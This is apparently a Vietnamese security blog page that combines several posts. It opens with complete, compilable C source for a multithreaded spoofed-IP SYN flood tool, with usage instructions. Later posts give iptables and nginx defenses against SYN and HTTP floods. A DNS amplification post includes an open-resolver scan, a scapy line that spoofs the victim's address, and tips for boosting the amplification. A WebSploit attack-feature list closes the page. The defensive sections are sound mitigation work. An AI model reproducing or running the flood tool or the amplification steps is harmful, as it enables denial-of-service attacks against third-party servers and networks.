Thứ Ba, 30 tháng 7, 2013

Spoof SYN Flood 2013 public

/* Spoofed SYN 2013 by HiSoKa
Compile with
gcc syn.c -pthread
--Note by XGR--
Compile:
apt-get update
apt-get install gcc
gcc syn.c -pthread -o ssyn
Usage: ./ssyn ip port time
*/
#include <stdio.h>
#include <stdlib.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <pthread.h>
#include <errno.h>


#define THREADS 5




typedef struct pthread_param
{
int argc;
char **argv;
};

typedef struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
};


/* Thanks for unknown author, this saves me some time */
unsigned short csum(unsigned short *ptr,int nbytes) {
register long sum;
unsigned short oddbyte;
register short answer;

sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}

sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;

return(answer);
}


int attack(int argc, char *argv[])
{
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
char packet[4096];
struct iphdr *iph = (struct iphdr *) packet;
struct tcphdr *tcph = (struct tcphdr *) (packet + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
char ip[16];

sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
sin.sin_addr.s_addr = inet_addr (argv[1]);

sprintf(ip, "%d.%d.%d.%d\n", rand() % 223, rand() % 255, rand() % 255, rand() % 255);

memset (packet, 0, 4096);

iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->id = htonl (54321);
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0;
iph->saddr = inet_addr(ip);
iph->daddr = sin.sin_addr.s_addr;

iph->check = csum ((unsigned short *) packet, iph->tot_len >> 1);

tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5;
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840);
tcph->check = 0;/* We fill this in later */
tcph->urg_ptr = 0;

psh.source_address = inet_addr(ip);
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(20);

memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

//IP_HDRINCL needed for own headers
int one = 1;
const int *val = &one;
int sockop = setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one));
if (sockop < 0)
{
perror ("[x] Error msg: ");
printf ("[x] Cannot set socket options: %i (are we r00t?)\n", errno);
// exit(-1);
}

if (sendto (s, packet, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
printf ("[x] Error sending packet\n");

close(s);
return 0;
}


void *thread_attack(void *thread_params)
{
struct pthread_param *params = thread_params;

while (1)
attack(params->argc, params->argv);
}

int main (int argc, char *argv[])
{
int i;
printf("Spoofed SYN Attack\n");
printf(" by HiSoKa\n");
printf(" for XGR\n\n");

srand(time(0));

if (argc != 4)
{
printf("Usage: %s <destip> <destport> <time in seconds>\n", argv[0]);
return -1;
}

pthread_t ssyn_attack[THREADS];

struct pthread_param params;
params.argc = argc;
params.argv = argv;

for (i = 0; i < THREADS; i++)
pthread_create( &ssyn_attack[i], NULL, thread_attack, (void*) &params);


printf("[*] Attacking..\n");
sleep(atoi(argv[3]));

return 0;


}

Chống tấn công syn flood giả mạo ip

Thông tin về cuộc tấn công ddos

Đầu năm 2013 một loạt websites bạn mình bị tấn công ddos rất lớn. Hàng loại bị bên cung cấp dịch vụ báo là băng thông dùng cho server đã vượt quá đường truyền mà họ cung cấp. Kiểu tấn công ở đây là kiểu syn flood và giả mạo địa chỉ ip. Do giả mạo địa chỉ ip nên việc block ip không thể khả thi được. Bạn mình đã dùng nhiều cách tìm được trên các diễn đàn như chỉ cho số lượng nhất định các syn packets vào trong 1 thời gian như 3/giây hay 10/phút nhưng không có tác dụng. Do không chạn được các gói syn do đó server khi nhận được gói syn gửi trả lại gói syn+ack làm băng thông của server hết dẫn đến người dùng không thể truy cập dịch vụ được.

Vì vậy bạn mình đã thử nhờ đến mình xem có cách chặn triệt để không.

Phân tích và xử lý cuộc tấn công

phân tích gói tin

Sau một hồi phân tích các gói tin được dump lại khi đang tấn công vào hệ thống mình có một phát hiện rất thú vị. Thông thường các gói syn bình thường luôn luôn được đánh dấu “don’t fragment”. Thông tin về fragment trong tcp tham khảo tcp fragment. Đây là điểm rất đáng thú vị, nên mình đã tham khảo một vài code dùng để tấn công syn flood giả mạo ip như syn flood xgroup và thấy trong code có
iph->frag_off = 0; 
mình cũng có xem rất nhiều code và tất cả đều có lỗi tương tự, kể cả một số bài viết về tấn công bằng hping và scapy. Vì cuộc tấn công được thực hiện chưa thật hoàn hảo nên mình biết có thể chặn được cuộc tấn công đó :D.

Chặn cuộc tấn công

Mình tham khảo iptables và trong tài liệu của iptables có ghi về việc chặn các gói tin bị phân mảnh ( theo mình hiểu là gói tin không có cờ “don’t fragment” bằng option “-f”, mình thử chặn ở máy của mình với cuộc tấn công thử mình bằng hping3, mình chặn bằng rule:
iptables -A INPUT -p tcp --syn -f -j DROP
theo mình thấy thì có thể chặn được nhưng kết quả lại hoàn toàn khác, các gói tin tấn công đều vào thoải mái mà không gặp phải sự phản kháng nào từ iptables.

Vấn đề với iptables

Do không thể chặn được gói tin tấn công nên mình đã xem iptables. Iptables chặn gói tin fragment không như mình nghĩ nó không kiểm tra cờ “don’t fragment” có không được set hay không mà lại kiểm tra cờ “more fragment” có được set hay không? => Chẳng nhẽ để chặn phải sửa lại và biên dịch lại iptables?

Giải quyết vấn đề phát sinh

Mình thử tìm hiểm trên mạng và thấy một module của iptables có thể giúp mình giải quyết vấn đề của mình đó là kiểm tra “don’t fragment” có được set là 1 không. module u32 iptables. Để chặn mình thử một rule của iptables
iptables -A INPUT -p tcp --syn -m u32 --u32 "3&0x40>>6=0" -j DROP #drop hping3 flood
thử tấn công bằng hping3 và check iptables mình thấy gói tin tấn công đã bị block triệt để, thật là vui quá đi :D.

Kết luận

Các cuộc tấn công đều có thể không hoàn hảo đến mức không thể chặn được. Hãy tìm hiểu thật kỹ ta có thể chặn rất dễ dàng

Chặn cuộc tấn công xử dụng webhunter dùng proxies

Cơ bản về tấn công bằng proxy với webhunter

Phương thức tấn công

Tấn công dos bằng proxy bằng webhunter, kẻ tấn công sẽ tìm một list các anonymous proxies sau đó sử dụng webhunter để tạo các request đến website của nạn nhân để đánh vào tài nguyên của server khiến cho website không thể truy cập được.

Đặc điểm tấn công

webhunter sử dụng list proxies do đó việc đếm số lần request theo ip của một số code truyền thống như dnp firewall không đặt được hiệu quả cao. Thêm vào đó webhunter có thể dễ dàng thay đổi và bổ xung các trường trong header một cách linh hoạt nên việc chặn dựa vào các thông tin trong header ( mà người dùng có thể thay đổi được) là không hề hiệu quả với webhunter

làm sao để chống khi bị tấn công bằng proxies với webhunter

  • Ta phải dựa vào những đặc điểm webhunter không thể thay đổi trong request header.
  • Dựa vào việc mà webhunter không thể làm ( rất nhiều botnet không thể làm) : javascript, flash, html5
Trong bài viết này mình chỉ đề cập đến việc chống dựa vào đặc điểm trong header của tấn công dùng proxy. Thông thường khi tạo request qua proxy ( các proxy được share trên mạng) trường X-Forwarded-For luôn được thêm vào request header. Trường này trong request header khi đi qua proxy là gần như không thể thay đổi. Do đó ta sẽ chặn cuộc tấn công bằng trường này với cách thức như sau:
  • Nếu web của bạn không muốn có request đến từ proxy từ người dùng => chặn tất cả request có trường này.
  • Xử dụng giá trị ip lấy từ header x-forwarded-for dùng cho việc hạn chế request.

chặn cuộc tấn công bằng webhunter với nginx.

Với nginx bạn có thể thêm config sau vào phần server để chặn toàn bộ request có x-forwared-for header
if ($http_x_forwarded_for != ''){
 return 403;
}
Để chặn theo kiểu limit reques thì ta sẽ cấu hình nginx với module realip
set_real_ip_from   0.0.0.0/0;
real_ip_header     X-Forwared-For;

trường hợp này cũng khá nguy hiểm khi kẻ tấn công phát hiện ra config của ta, khi đó hắn có thể tấn công bằng việc tạo các request với header x-forwared-for bất hợp lệ

Kết luận

Có khá nhiều cách để chặn cuộc tấn công bằng proxy đây chỉ là một cách đơn giản mà mình nghĩ ra. Nó có thể áp dụng với apache bằng việc dùng 1 số module thứ 3 như mod_security mod_slowloris ( mình chưa tìm được cách check được header x-forwared-for bằng .htacces với apache). Còn nhiều cách nữa để hạn chế tác động của tấn công dos/ddos vào hệ thống mình sẽ trình bài trong các post tiếp theo.

Nguôn` : sovietw0rm

Giảm thiểu tác hại của http flood với nginx và roboo

Cơ bản

Các cuộc tấn công http flood hiện tại thường với cách thức là tạo truy vấn đến các file cần khả năng xử lý lớn của server. Kết quả của cuộc tấn công thường làm cho mysql bị lỗi, web service bị qúa tải vì quá nhiều các cgi đang chạy.

Cách thức để giảm thiểu ảnh hưởng của cuộc tấn công http flood.

Để giảm thiểu việc tiêu tốn khả năng xử lý cũng như tài nguyên của server ta phải cách ly những script chạy rất nặng ra khỏi tầm ngắm của botnet hay các công cụ dùng để ddos. Muốn làm được việc này ta phải làm thế nào? Đặc điểm của botnet hay các công cụ tấn công dos http flood ra sao:
  • Các công cụ thường là gửi các request với header và mọi thứ có sẵn đến một số script nhất định.
  • Thường không xử lý được javascript hay flash do không thể ôm cả bộ webkit hay component lớn để xử lý ddos.
Việc chặn request bằng đặc điểm của header khó có thể áp dụng vì kẻ tấn công có thể thay đổi header một cách dễ dàng để qua được các cách mà ta đã viết. Do đó việc dùng javascript hoặc flash để tạo các đặc điểm nhận dạng và xác thực request của người dùng sẽ là một phương án hiệu quả hơn.

Cách thức roboo giải quyết vấn đề

Roboo sẽ tạo và xác thực người dùng bằng một mã hash từ thông tin của người dùng như: ip, useragent. Khi người dùng tạo request lên lần đầu roboo sẽ tạo mã xác thực và đưa mã xác thực vào cookie thông qua javascript hoặc flash. Khi mỗi request đưa lên roboo sẽ kiểm tra xem mã xác thực của người dùng có hợp lệ không? nếu hợp lệ thì cho qua còn nếu không hợp lệ sẽ bắt xác thực lại.
 Cách thức làm việc của roboo sẽ khiến cho botnet nếu không hiểu javascript hay được viết riêng
 cho site của mình thì sẽ không thể request lên các script nặng của server mình.
Với đặc điểm trên roboo hoạt động rất hiệu quả trong việc chặn các cuộc tấn công dos/ddos kiểu http flood bây giờ

Cài đặt roboo với nginx

Cài đặt nginx với perl module

 $./configure --with-http_ssl_module --without-http_uwsgi_module --without-http_scgi_module 
  --without-http_geo_module --sbin-path=/usr/local/sbin --with-http_perl_module
  --with-perl_modules_path=/usr/local/nginx/perl
 $make
 $make install

 

Cài đặt roboo

cài đặt các module cần thiết
$cpan -i Net::IP::Match::Regexp Digest::SHA Crypt::Random Compress::Zlib 

chi tiết có thể xem ở đây cài đặt roboo với nginx
Cấu hình
location / {
        perl Roboo::handler;
        set $Roboo_challenge_modes "JS,gzip"; # SWF or JS, optionally gzip for encoding ("JS,gzip" or "SWF,gzip")
        
        # Defaults
        set $Roboo_cookie_name "Anti-Robot"; # Cookie name used for challenge/response
        set $Roboo_validity_window 600; # Authentication validity time window
        set $Roboo_whitelist "IP(),UA(''),URI('')"; # Whitelist - IP addresses (CIDR), user-agents or URIs (PCRE)
        set $Roboo_charset "UTF-8"; # Charset used during challenge (for proper POST resubmissions)
        set $Roboo_challenge_hash_input $remote_addr; # Advanced - challenge hash basis, can add $server_name$server_port$http_host$http_user_agent

        error_page 555 = @proxy;
        expires epoch;
        add_header Last-Modified "";
        if ($Roboo_challenge_modes ~ gzip) {
            gzip on;
        }
        access_log /var/log/nginx/challenged.log;
    }

    location @proxy {
        proxy_pass http://example.com;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header Host $host;
        proxy_cache cache;
        proxy_cache_valid 5m;
        gzip on;
        access_log /var/log/nginx/verified.log;
    }

Trong đó
$Roboo_cookie_name là tên cookie dùng để lưu mã xác thực của người dùng.
$Roboo_challenge_modes cách để set mã xác thực cho người dùng javascript hay flash.
$Roboo_validity_window thời gian tồn tại của mã xác thực, sau thời gian này mã xác thực sẽ không còn giá trị.
$Roboo_challenge_hash_input các tham số đầu vào đã tính mã xác thực.
$Roboo_whitelist cài đặt các thông tin về whitelist.

Nhược điểm của roboo.

  • Việc dùng javascript để set mã xác thực không hoạt động với các ajax request.
  • Nếu để cho googlebot vào site với việc config UA $Roboo_whitelist chưa có cơ chế xác thực xem ip có phải đúng là của google bot không.

Kết luận.

Roboo có thể là một giải pháp tốt để bạn đương đầu với các cuộc tấn công http flood. Nhưng để có được một giải pháp toàn diện chúng ta còn cần làm rất nhiều việc để tối ưu nó.

Cơ bản về DNS Amplification Attacks

Bài này sẽ trình bày cơ bản về cơ chế hoạt động “DNS Amplification Attacks”, cũng như cách thức thực hiện cuộc tấn công như trên trong thực tế.

Cơ bản về DNS Amplification Attacks

Cuộc tấn công DNS Amplification Attacks diễn ra thế nào?

Tấn công DNS Amplification Attacks là một dạng của tấn công ddos, trong đó kẻ tấn công sử dụng các máy chủ DNS trả lời query DNS từ bất kỳ ip nào để làm tràn băng thông của đối tượng cần tấn công.

Mô tả chi tiết về cách thức hoạt động.

Để thực hiện một cuộc tấn công DNS Amplification Attacks kẻ tấn công sử các máy chủ DNS mở ( trả lời truy vấn dns từ bất kỳ ip nào) để làm tràn băng thông của mục tiêu tấn công. Để làm được việc này kẻ tấn công sẽ gửi các truy vấn DNS đến các máy chủ DNS mở với địa chỉ ip nguồn của gói tin là địa chỉ ip của mục tiêu cần tấn công. Khi các máy chủ DNS mở gửi thông tin DNS trả lời, toàn bộ sẽ được gửi đến mục tiêu cần tấn công. Để tăng hiệu quả của cuộc tấn công kẻ tấn công thường gửi truy vấn mà kết quả trả về càng nhiều thông tin càng tốt. Các cuộc tấn công DNS Amplification Attacks được ghi nhận thì DNS request giả địa chỉ ip gửi bởi kẻ tấn công thường là kiểu “ANY” ( thông tin trả về sẽ là tất cả thông tin về domain trong truy vấn). Trường hợp này kích thước của gói tin trả về thường lớn hơn rất nhiều so với kích thước của DNS request. Do đó với băng thông vừa phải kẻ tấn công có thể tạo ra một băng thông rất lớn đánh vào mục tiêu. Thêm vào đó gói tin trả về đến từ các địa chỉ hợp lệ do đó việc ngăn chặn cuộc tấn công kiểu này rất khó khăn.

Thực hiện cuộc tấn công.

Dò tìm các máy chủ DNS mở.

Để dò tìm các địa chủ máy chủ DNS mở ta có thể dùng nmap
 nmap -sU -p 53 -sV -P0 --script "dns-recursion" 1.1.1.1/24
trong đó 1.1.1.1/24 là dải ips ta muốn scan.

Thực hiện cuộc tấn công.

Để tạo được DNS request với địa chỉ ip là địa chỉ ip mục tiêu ta cần một server hoặc vps có hỗ trợ việc giả ip. Việc tạo DNS request có thể thực hiện đơn giản bằng scapy
 sr1(IP(src="victim ip), dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org")))
Bạn cần lập trình một chút để tạo DNS request từ một list các máy chủ DNS, và tạo DNS request kiểu “ANY” nữa :D.

Tăng cường khả năng tấn công.

Bạn cần có một domain sau đó vào tạo nhiều nhất record có thể. record TXT có độ dài lớn, cả CNAME cả A … để tăng băng thông tấn công nên mức cao nhất.

Kết luận.

Qua những gì đã trình bày ta thấy cuộc tấn công DNS Amplification Attacks rất khó để có thể ngăn chặn, do đó cần có một chiến lược được hoạch định kỹ để phòng chống loại tấn công này.
chú thích
DNS: Domain Name System (DNS) servers ( hệ thống phân giải tên miền)
Tài liệu tham khảo

Thứ Bảy, 6 tháng 7, 2013

[Tools] WebSploit Framework - Công cụ hữu ích để thử nghiệm thâm nhập.

Tool hỗ trợ nhiều tính năng hữu ích giúp bạn đánh giá hệ thống của bạn
Tính năng.
WebSploit Is An Open Source Project For :
[>]Social Engineering Works
[>]Scan,Crawler & Analysis Web
[>]Automatic Exploiter
[>]Support Network Attacks
----
[+]Autopwn - Used From Metasploit For Scan and Exploit Target Service
[+]wmap - Scan,Crawler Target Used From Metasploit wmap plugin
[+]format infector - inject reverse & bind payload into file format
[+]phpmyadmin Scanner
[+]LFI Bypasser
[+]Apache Users Scanner
[+]Dir Bruter 
[+]admin finder 
[+]MLITM Attack - Man Left In The Middle, XSS Phishing Attacks
[+]MITM - Man In The Middle Attack
[+]Java Applet Attack
[+]MFOD Attack Vector 
[+]USB Infection Attack 
[+]ARP Dos Attack
[+]Web Killer Attack
[+]Fake Update Attack
[+]Fake Access point Attack


[Books] Một số tài liệu Linux tiếng việt.


Tạo điều kiện cho các bạn mới tiếp xúc với HĐH Linux có cái nhìn tổng quan về linux cũng như cấu hình cơ bản dịch vụ trên linux.
giới thiệu đến các bạn một số cuốn sách nói về hệ điều hành nay.
Các bài thực hành linux
Linux Advance_NhatNghe.pdf